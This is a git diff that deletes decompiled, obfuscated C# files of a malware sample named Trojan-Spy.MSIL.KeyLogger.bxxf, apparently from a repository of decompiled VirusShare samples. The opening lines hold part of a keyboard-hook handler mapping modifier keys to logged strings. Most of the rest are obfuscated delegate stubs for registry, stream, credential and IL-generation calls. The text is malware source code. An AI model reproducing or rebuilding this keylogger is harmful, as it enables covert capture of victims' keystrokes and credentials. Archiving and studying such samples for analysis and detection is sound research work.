Keys.LShiftKey: - return \u0002.\u0001(2019); - case Keys.RShiftKey: - return \u0002.\u0001(2019); - case Keys.LControlKey: - return \u0002.\u0001(2045); - case Keys.RControlKey: - return \u0002.\u0001(2045); - case Keys.LMenu: - return \u0002.\u0001(2032); - case Keys.RMenu: - return \u0002.\u0001(2032); - default: - return \u009E.\u008C\u0002(\u0002.\u0001(2071), \u0089\u0002.\u007E\u0081\u0002((object) obj0), \u0002.\u0001(2076)); - } - } - } - } - return (string) null; - } - - private struct \u0001 - { - public int \u0001; - public int \u0002; - public int \u0003; - public int \u0004; - public int \u0005; - } - - private delegate int \u0002(int nCode, int wParam, ref \u0002.\u0001 lParam); - - internal delegate void \u0003(Keys Key); - - internal delegate void \u0004(Keys Key); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0003.cs deleted file mode 100644 index b88b7c5a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0003.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using ctfmon.My; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class \u0003 - { - [SpecialName] - internal static MySettings \u0002() - { - // ISSUE: variable of a compiler-generated type - MySettings mySettings = MySettings.Default; - return mySettings; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0002.cs deleted file mode 100644 index ce202c8e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0005\u0002([In] object obj0, [In] Color obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0003.cs deleted file mode 100644 index 39f8ef46..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0005\u0003([In] object obj0, [In] string obj1, [In] string obj2, [In] object obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0002.cs deleted file mode 100644 index 02466315..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0006\u0002([In] string obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0003.cs deleted file mode 100644 index fac38ef4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate Stream \u0006\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0002.cs deleted file mode 100644 index d70af085..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0007\u0002([In] object obj0, [In] string obj1, [In] string obj2, [In] object obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0003.cs deleted file mode 100644 index 294f9eeb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic; -using System.Runtime.InteropServices; - -internal delegate int \u0007\u0003([In] string obj0, [In] string obj1, [In] CompareMethod obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0002.cs deleted file mode 100644 index 187d5a2a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Configuration; -using System.Runtime.InteropServices; - -internal delegate SettingsBase \u0008\u0002([In] SettingsBase obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0003.cs deleted file mode 100644 index 0a1dd65d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.Win32; -using System.Runtime.InteropServices; - -internal delegate void \u0008\u0003([In] object obj0, [In] string obj1, [In] object obj2, [In] RegistryValueKind obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0002.cs deleted file mode 100644 index 25de2040..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.Win32; -using System.Runtime.InteropServices; - -internal delegate RegistryKey \u000E\u0002([In] object obj0, [In] string obj1, [In] bool obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0003.cs deleted file mode 100644 index cb2aafe9..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0003.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -internal delegate void \u000E\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0002.cs deleted file mode 100644 index 2a2be6f7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u000F\u0002([In] bool obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0003.cs deleted file mode 100644 index fc370288..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate IntPtr \u000F\u0003([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0002.cs deleted file mode 100644 index 67d0c752..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0010\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0003.cs deleted file mode 100644 index 317dd766..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate ModuleHandle \u0010\u0003([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0002.cs deleted file mode 100644 index 14d71917..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.Win32; -using System.Runtime.InteropServices; - -internal delegate void \u0011\u0002( - [In] object obj0, - [In] string obj1, - [In] string obj2, - [In] object obj3, - [In] RegistryValueKind obj4); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0003.cs deleted file mode 100644 index a4ac236e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0011\u0003([In] object obj0, [In] SizeF obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0002.cs deleted file mode 100644 index 629e60ac..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0012\u0002([In] object obj0, [In] byte[] obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0003.cs deleted file mode 100644 index 34a9f28d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0012\u0003([In] object obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0002.cs deleted file mode 100644 index 7b2105ca..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Text; - -internal delegate Encoding \u0013\u0002(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0003.cs deleted file mode 100644 index a965cf6b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Net; -using System.Runtime.InteropServices; - -internal delegate void \u0013\u0003([In] object obj0, [In] ICredentialsByHost obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0002.cs deleted file mode 100644 index edc94022..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0014\u0002([In] object obj0, [In] FormWindowState obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0003.cs deleted file mode 100644 index 6299bed9..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate ILGenerator \u0014\u0003([In] object obj0); diff --git 